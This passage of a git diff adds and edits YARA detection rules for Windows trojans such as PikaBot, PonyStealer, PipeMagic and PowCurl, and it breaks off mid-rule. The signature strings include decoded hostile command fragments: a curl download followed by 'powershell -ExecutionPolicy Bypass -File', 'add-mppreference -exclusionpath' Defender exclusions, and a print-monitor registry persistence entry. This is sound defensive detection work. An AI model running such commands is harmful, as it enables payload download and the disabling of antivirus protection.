0b 00 00 90 00 00 00 5d 04 00 00 86 01 05 80 5c 28 00 00 87 01 05 80 00 00 01 00 08 00 12 00 ac 21 52 5a 53 74 72 65 65 74 2e 67 65 6e 21 64 68 61 00 00 1f 40 05 82 70 00 04 00 67 16 00 00 bb e9 27 0e ee ff e3 38 53 bf d7 d6 00 40 01 00 01 20 d2 ff 06 44 67 16 00 00 9a 7b b6 0e ee ff e3 38 77 8f 83 cd 00 40 01 00 01 20 51 5d ac 2b 67 16 00 00 3b 9f 1b 1a ee ff e3 38 72 57 61 45 00 40 01 00 01 20 cb } //257 + $a_4d_2 = {01 01 81 c1 a0 0b 00 00 90 00 00 00 5d 04 00 00 86 01 05 80 5c 28 00 00 87 01 05 80 00 00 01 00 08 00 12 00 ac 21 52 5a 53 74 72 65 65 74 2e 67 65 6e 21 64 68 61 00 00 15 40 05 82 70 00 04 00 67 16 00 00 bb e9 27 0e ee ff e3 38 53 bf d7 d6 00 40 01 00 01 20 d2 ff 06 44 67 16 00 00 9a 7b b6 0e ee ff e3 38 77 8f 83 cd 00 40 01 00 01 20 51 5d ac 2b 67 16 00 00 c1 84 39 2a a9 ff 09 03 ba cd 69 b2 c4 41 01 00 01 20 fc } //257 condition: ((#a_41_0 & 1)*5+(#a_6a_1 & 1)*9216+(#a_4d_2 & 1)*257) >=5 diff --git a/Trojan/Win32/PapCut/Trojan_Win32_PapCut_B.yar b/Trojan/Win32/PapCut/Trojan_Win32_PapCut_B.yar index 18cd156c8b..d9df88a093 100644 --- a/Trojan/Win32/PapCut/Trojan_Win32_PapCut_B.yar +++ b/Trojan/Win32/PapCut/Trojan_Win32_PapCut_B.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_PapCut_B{ meta: - description = "Trojan:Win32/PapCut.B,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 13 00 00 " + description = "Trojan:Win32/PapCut.B,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 15 00 00 " strings : $a_02_0 = {63 00 6d 00 64 00 90 08 00 02 68 00 74 00 74 00 70 00 } //10 @@ -23,7 +23,9 @@ rule Trojan_Win32_PapCut_B{ $a_00_16 = {74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 } //10 taskkill $a_00_17 = {6d 00 73 00 70 00 61 00 69 00 6e 00 74 00 2e 00 65 00 78 00 65 00 } //10 mspaint.exe $a_00_18 = {63 00 61 00 6c 00 63 00 2e 00 65 00 78 00 65 00 } //10 calc.exe + $a_00_19 = {3a 00 5c 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 41 00 64 00 76 00 61 00 6e 00 63 00 65 00 64 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 5c 00 5c 00 } //-1000 :\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\ + $a_00_20 = {3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 41 00 64 00 76 00 61 00 6e 00 63 00 65 00 64 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 5c 00 } //-1000 :\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\ condition: - ((#a_02_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_02_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*10+(#a_00_16 & 1)*10+(#a_00_17 & 1)*10+(#a_00_18 & 1)*10) >=10 + ((#a_02_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_02_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*10+(#a_00_16 & 1)*10+(#a_00_17 & 1)*10+(#a_00_18 & 1)*10+(#a_00_19 & 1)*-1000+(#a_00_20 & 1)*-1000) >=10 } \ No newline at end of file diff --git a/Trojan/Win32/PatseNitbse/Trojan_Win32_PatseNitbse_MTB.yar b/Trojan/Win32/PatseNitbse/Trojan_Win32_PatseNitbse_MTB.yar new file mode 100644 index 0000000000..1e7faf16ae --- /dev/null +++ b/Trojan/Win32/PatseNitbse/Trojan_Win32_PatseNitbse_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_PatseNitbse_MTB{ + meta: + description = "Trojan:Win32/PatseNitbse!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {44 00 4f 00 43 00 54 00 59 00 50 00 45 00 20 00 68 00 74 00 6d 00 6c 00 } //1 DOCTYPE html + $a_00_2 = {50 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 } //1 Pastebin + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Penguish/Trojan_Win32_Penguish_GTB_MTB.yar b/Trojan/Win32/Penguish/Trojan_Win32_Penguish_GTB_MTB.yar new file mode 100644 index 0000000000..67e1d6eaf2 --- /dev/null +++ b/Trojan/Win32/Penguish/Trojan_Win32_Penguish_GTB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Penguish_GTB_MTB{ + meta: + description = "Trojan:Win32/Penguish.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {5a 51 51 83 c4 04 81 c9 ?? ?? ?? ?? 59 51 51 83 c4 04 81 c9 ?? ?? ?? ?? 59 56 81 ee ?? ?? ?? ?? 81 f6 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/PermClaw/Trojan_Win32_PermClaw_A.yar b/Trojan/Win32/PermClaw/Trojan_Win32_PermClaw_A.yar new file mode 100644 index 0000000000..7e9a106f3d --- /dev/null +++ b/Trojan/Win32/PermClaw/Trojan_Win32_PermClaw_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PermClaw_A{ + meta: + description = "Trojan:Win32/PermClaw.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {8b 45 08 03 45 fc 0f be ?? 0f b6 ?? ?? 33 ca } //1 + $a_03_1 = {89 51 30 b8 4d 4f 00 00 8b ?? f8 66 89 01 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Phave/Trojan_Win32_Phave_KK_MTB.yar b/Trojan/Win32/Phave/Trojan_Win32_Phave_KK_MTB.yar new file mode 100644 index 0000000000..b1dad9e6fe --- /dev/null +++ b/Trojan/Win32/Phave/Trojan_Win32_Phave_KK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Phave_KK_MTB{ + meta: + description = "Trojan:Win32/Phave.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_03_0 = {61 40 00 c7 45 ?? 00 00 00 00 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 8d 45 ?? 89 44 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 01 00 00 00 c7 44 24 04 00 00 00 00 8b 45 ?? 89 04 24 8b 45 dc } //10 + $a_01_1 = {8b 45 f4 3b 45 0c 73 33 8b 55 08 8b 45 f4 8d 0c 02 8b 55 08 8b 45 f4 01 d0 0f b6 00 89 c3 8b 45 f4 ba 00 00 00 00 f7 75 f0 8b 45 10 01 d0 0f b6 00 31 d8 88 01 83 45 f4 01 } //5 + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/Phorpiex/Trojan_Win32_Phorpiex_PAQD_MTB.yar b/Trojan/Win32/Phorpiex/Trojan_Win32_Phorpiex_PAQD_MTB.yar new file mode 100644 index 0000000000..bf4446662a --- /dev/null +++ b/Trojan/Win32/Phorpiex/Trojan_Win32_Phorpiex_PAQD_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Phorpiex_PAQD_MTB{ + meta: + description = "Trojan:Win32/Phorpiex.PAQD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_03_0 = {83 e2 01 f7 da 1b d2 f7 da 88 55 ?? 8b 45 ?? d1 e8 89 45 ?? 0f b6 4d ?? 85 c9 74 0c 8b 55 ?? 81 f2 20 83 b8 ed 89 55 } //3 + $a_03_1 = {ba 2f 00 00 00 66 89 95 ?? ?? ?? ?? b8 74 00 00 00 66 89 85 ?? ?? ?? ?? b9 73 00 00 00 66 89 8d ?? ?? ?? ?? ba 72 00 00 00 66 89 95 ?? ?? ?? ?? b8 76 00 00 00 66 89 85 ?? ?? ?? ?? b9 31 00 00 00 66 89 8d 82 ?? ?? ?? ?? 2e 00 00 00 66 89 95 ?? ?? ?? ?? b8 77 00 00 00 66 89 85 ?? ?? ?? ?? b9 73 00 00 00 66 89 8d ?? ?? ?? ?? ba 2f 00 00 00 } //3 + $a_03_2 = {89 55 d8 b8 ?? ?? ?? ?? 66 89 45 e4 b9 ?? ?? ?? ?? 66 89 4d e6 ba ?? ?? ?? ?? 66 89 55 e8 b8 ?? ?? ?? ?? 66 89 45 ea b9 ?? ?? ?? ?? 66 89 4d ec ba ?? ?? ?? ?? 66 89 55 ee b8 ?? ?? ?? ?? 66 89 45 f0 b9 ?? ?? ?? ?? 66 89 4d f2 ba ?? ?? ?? ?? 66 89 55 f4 b8 ?? ?? ?? ?? 66 89 45 f6 b9 ?? ?? ?? ?? 66 89 4d f8 ba ?? ?? ?? ?? 66 89 55 fa } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*3+(#a_03_2 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/PikaBot/Trojan_Win32_PikaBot_AA_MTB.yar b/Trojan/Win32/PikaBot/Trojan_Win32_PikaBot_AA_MTB.yar index 074c1f2e71..b4e406b597 100644 --- a/Trojan/Win32/PikaBot/Trojan_Win32_PikaBot_AA_MTB.yar +++ b/Trojan/Win32/PikaBot/Trojan_Win32_PikaBot_AA_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_PikaBot_AA_MTB{ meta: - description = "Trojan:Win32/PikaBot.AA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 0a 00 00 " + description = "Trojan:Win32/PikaBot.AA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 0c 00 00 " strings : $a_00_0 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 } //10 cmd.exe @@ -14,7 +14,9 @@ rule Trojan_Win32_PikaBot_AA_MTB{ $a_00_7 = {73 00 63 00 61 00 62 00 } //1 scab $a_00_8 = {45 00 78 00 63 00 70 00 74 00 } //1 Excpt $a_00_9 = {65 00 78 00 69 00 74 00 } //10 exit + $a_00_10 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + $a_00_11 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*10) >=51 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*10+(#a_00_10 & 1)*-100+(#a_00_11 & 1)*-1000) >=51 } \ No newline at end of file diff --git a/Trojan/Win32/PipeMagic/Trojan_Win32_PipeMagic_C_dha.yar b/Trojan/Win32/PipeMagic/Trojan_Win32_PipeMagic_C_dha.yar new file mode 100644 index 0000000000..b005336f45 --- /dev/null +++ b/Trojan/Win32/PipeMagic/Trojan_Win32_PipeMagic_C_dha.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_PipeMagic_C_dha{ + meta: + description = "Trojan:Win32/PipeMagic.C!dha,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {5c 5c 2e 5c 70 69 70 65 5c 6d 61 67 69 63 } //1 \\.\pipe\magic + $a_01_1 = {5c 5c 2e 5c 70 69 70 65 5c 31 2e 25 73 } //1 \\.\pipe\1.%s + $a_01_2 = {3a 00 66 00 75 00 63 00 6b 00 69 00 74 00 } //1 :fuckit + $a_03_3 = {6a 04 8d 4d f0 e8 [0-10] 6a 04 8d 4d f0 e8 } //1 + $a_01_4 = {33 c9 89 4d d8 89 4d dc 89 4d e0 66 c7 45 e4 00 01 89 4d f8 3c 5a 75 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Kutona/Trojan_Win32_Kutona_dha.yar b/Trojan/Win32/PipeMagic/Trojan_Win32_PipeMagic_dha.yar similarity index 92% rename from Trojan/Win32/Kutona/Trojan_Win32_Kutona_dha.yar rename to Trojan/Win32/PipeMagic/Trojan_Win32_PipeMagic_dha.yar index 82fa8f656f..031bff13a3 100644 --- a/Trojan/Win32/Kutona/Trojan_Win32_Kutona_dha.yar +++ b/Trojan/Win32/PipeMagic/Trojan_Win32_PipeMagic_dha.yar @@ -1,7 +1,7 @@ -rule Trojan_Win32_Kutona_dha{ +rule Trojan_Win32_PipeMagic_dha{ meta: - description = "Trojan:Win32/Kutona!dha,SIGNATURE_TYPE_PEHSTR,06 00 06 00 0b 00 00 " + description = "Trojan:Win32/PipeMagic!dha,SIGNATURE_TYPE_PEHSTR,06 00 06 00 0b 00 00 " strings : $a_01_0 = {50 61 72 65 6e 74 20 50 49 44 3a 20 25 75 20 2e 2e 2e } //1 Parent PID: %u ... diff --git a/Trojan/Win32/Pmax/Trojan_Win32_Pmax_A_MTB.yar b/Trojan/Win32/Pmax/Trojan_Win32_Pmax_A_MTB.yar new file mode 100644 index 0000000000..33b678e03e --- /dev/null +++ b/Trojan/Win32/Pmax/Trojan_Win32_Pmax_A_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Pmax_A_MTB{ + meta: + description = "Trojan:Win32/Pmax.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 8c 24 b0 00 00 00 68 19 00 02 00 89 8c 24 34 02 00 00 c5 f8 28 8c 24 28 02 00 00 c5 f0 57 8c 24 18 01 00 00 6a 00 50 c5 f8 29 8c 24 20 01 00 00 68 01 00 00 80 c5 f8 77 ff d7 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_AHB_MTB.yar b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_AHB_MTB.yar new file mode 100644 index 0000000000..853e66b723 --- /dev/null +++ b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PonyStealer_AHB_MTB{ + meta: + description = "Trojan:Win32/PonyStealer.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {66 0f 76 f2 0f fa f2 0f 6f ff 41 0f eb d8 0f 71 f0 02 0f d5 d2 ff 73 2c 66 0f 74 c1 66 0f fe d9 0f fc ff 31 0c 24 66 0f 76 f2 0f fa f2 0f 6f ff 5a 0f eb d8 0f 71 f0 02 0f d5 d2 83 fa 00 75 } //3 + $a_01_1 = {48 66 0f 74 c1 66 0f fe d9 0f fc ff 48 66 0f 76 f2 0f fa f2 0f 6f ff 48 0f eb d8 0f 71 f0 02 0f d5 d2 33 14 03 66 0f 74 c1 66 0f fe d9 0f fc ff e8 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_DAE_MTB.yar b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_DAE_MTB.yar new file mode 100644 index 0000000000..c64bc997c8 --- /dev/null +++ b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_DAE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PonyStealer_DAE_MTB{ + meta: + description = "Trojan:Win32/PonyStealer.DAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {c7 85 f0 fd ff ff 8c 23 00 00 c7 85 f4 fd ff ff 05 00 00 00 83 a5 30 ff ff ff 00 eb } //2 + $a_01_1 = {58 31 30 89 8d 80 00 00 00 b9 c3 13 9f 76 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_DAF_MTB.yar b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_DAF_MTB.yar new file mode 100644 index 0000000000..6dd7e7a859 --- /dev/null +++ b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_DAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_PonyStealer_DAF_MTB{ + meta: + description = "Trojan:Win32/PonyStealer.DAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {66 0f 64 c1 66 0f e8 d5 0f 73 f7 36 66 0f d5 f4 66 0f ef c4 66 0f 76 d7 66 0f fd d6 66 0f d8 c4 66 0f e9 c2 66 0f 64 e8 66 0f 67 c4 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_GTB_MTB.yar b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_GTB_MTB.yar new file mode 100644 index 0000000000..5221a0686a --- /dev/null +++ b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_GTB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PonyStealer_GTB_MTB{ + meta: + description = "Trojan:Win32/PonyStealer.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {47 57 00 01 00 08 00 39 48 57 00 01 00 08 } //5 均Āࠀ㤀坈Āࠀ + $a_01_1 = {31 00 08 37 c8 9b fa a3 96 5f 43 91 } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_GZZ_MTB.yar b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_GZZ_MTB.yar new file mode 100644 index 0000000000..f94531ebf6 --- /dev/null +++ b/Trojan/Win32/PonyStealer/Trojan_Win32_PonyStealer_GZZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PonyStealer_GZZ_MTB{ + meta: + description = "Trojan:Win32/PonyStealer.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {31 00 19 01 00 42 00 21 fe f3 00 00 6c 74 } //5 + $a_01_1 = {31 11 d1 22 14 1d 94 4d } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/PoolInject/Trojan_Win32_PoolInject_MR_MTB.yar b/Trojan/Win32/PoolInject/Trojan_Win32_PoolInject_MR_MTB.yar new file mode 100644 index 0000000000..b36d85e2d3 --- /dev/null +++ b/Trojan/Win32/PoolInject/Trojan_Win32_PoolInject_MR_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_PoolInject_MR_MTB{ + meta: + description = "Trojan:Win32/PoolInject.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 00 " + + strings : + $a_81_0 = {53 74 6f 70 20 72 65 76 65 72 73 69 6e 67 20 74 68 65 20 62 69 6e 61 72 79 } //1 Stop reversing the binary + $a_81_1 = {52 65 63 6f 6e 73 69 64 65 72 20 79 6f 75 72 20 6c 69 66 65 20 63 68 6f 69 63 65 73 } //1 Reconsider your life choices + $a_81_2 = {41 6e 64 20 67 6f 20 74 6f 75 63 68 20 73 6f 6d 65 20 67 72 61 73 73 } //1 And go touch some grass + $a_81_3 = {46 61 69 6c 20 74 6f 20 73 63 68 65 64 75 6c 65 20 74 68 65 20 63 68 6f 72 65 21 } //1 Fail to schedule the chore! + $a_81_4 = {66 75 74 75 72 65 20 61 6c 72 65 61 64 79 20 72 65 74 72 69 65 76 65 64 } //1 future already retrieved + $a_81_5 = {70 72 6f 6d 69 73 65 20 61 6c 72 65 61 64 79 20 73 61 74 69 73 66 69 65 64 } //1 promise already satisfied + $a_01_6 = {41 ba 40 00 00 00 41 8b c8 48 8b d0 83 e1 3f 44 2b d1 41 0f b6 ca 48 d3 ca 49 33 d0 } //2 + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_01_6 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/PortHijack/Trojan_Win32_PortHijack_AC.yar b/Trojan/Win32/PortHijack/Trojan_Win32_PortHijack_AC.yar new file mode 100644 index 0000000000..81a2aa2018 --- /dev/null +++ b/Trojan/Win32/PortHijack/Trojan_Win32_PortHijack_AC.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_PortHijack_AC{ + meta: + description = "Trojan:Win32/PortHijack.AC,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_02_0 = {72 00 65 00 67 00 20 00 61 00 64 00 64 00 [0-04] 68 00 6b 00 65 00 79 00 5f 00 6c 00 6f 00 63 00 61 00 6c 00 5f 00 6d 00 61 00 63 00 68 00 69 00 6e 00 65 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 73 00 65 00 74 00 5c 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 70 00 72 00 69 00 6e 00 74 00 5c 00 6d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 73 00 5c 00 61 00 74 00 74 00 61 00 63 00 6b 00 69 00 71 00 [0-0a] 64 00 72 00 69 00 76 00 65 00 72 00 [0-30] 2e 00 64 00 6c 00 6c 00 } //3 + condition: + ((#a_02_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/PowCurl/Trojan_Win32_PowCurl_DA_MTB.yar b/Trojan/Win32/PowCurl/Trojan_Win32_PowCurl_DA_MTB.yar new file mode 100644 index 0000000000..c9a016794c --- /dev/null +++ b/Trojan/Win32/PowCurl/Trojan_Win32_PowCurl_DA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_PowCurl_DA_MTB{ + meta: + description = "Trojan:Win32/PowCurl.DA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_02_0 = {63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 63 00 64 00 20 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 [0-32] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 } //100 + $a_02_1 = {26 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-3c] 2e 00 70 00 68 00 70 00 } //10 + $a_00_2 = {26 00 26 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 42 00 79 00 70 00 61 00 73 00 73 00 20 00 2d 00 46 00 69 00 6c 00 65 00 } //10 && powershell -ExecutionPolicy Bypass -File + condition: + ((#a_02_0 & 1)*100+(#a_02_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_H_MTB.yar b/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_H_MTB.yar new file mode 100644 index 0000000000..e784de9b70 --- /dev/null +++ b/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_H_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_PowExcEnv_H_MTB{ + meta: + description = "Trojan:Win32/PowExcEnv.H!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 } //1 Add-MpPreference + $a_00_1 = {2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 } //1 -exclusion + $a_00_2 = {24 00 65 00 6e 00 76 00 3a 00 } //1 $env: + $a_00_3 = {61 00 70 00 70 00 64 00 61 00 74 00 61 00 } //1 appdata + $a_00_4 = {2d 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 } //1 -replace + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_ZA_MTB.yar b/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_ZA_MTB.yar new file mode 100644 index 0000000000..2a9b3e91ce --- /dev/null +++ b/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_ZA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PowExcEnv_ZA_MTB{ + meta: + description = "Trojan:Win32/PowExcEnv.ZA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_00_0 = {61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 20 00 24 00 } //1 add-mppreference -exclusionpath $ + $a_00_1 = {61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 } //1 add-mppreference -exclusionprocess $ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_ZB_MTB.yar b/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_ZB_MTB.yar new file mode 100644 index 0000000000..b1aa58ba02 --- /dev/null +++ b/Trojan/Win32/PowExcEnv/Trojan_Win32_PowExcEnv_ZB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_PowExcEnv_ZB_MTB{ + meta: + description = "Trojan:Win32/PowExcEnv.ZB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 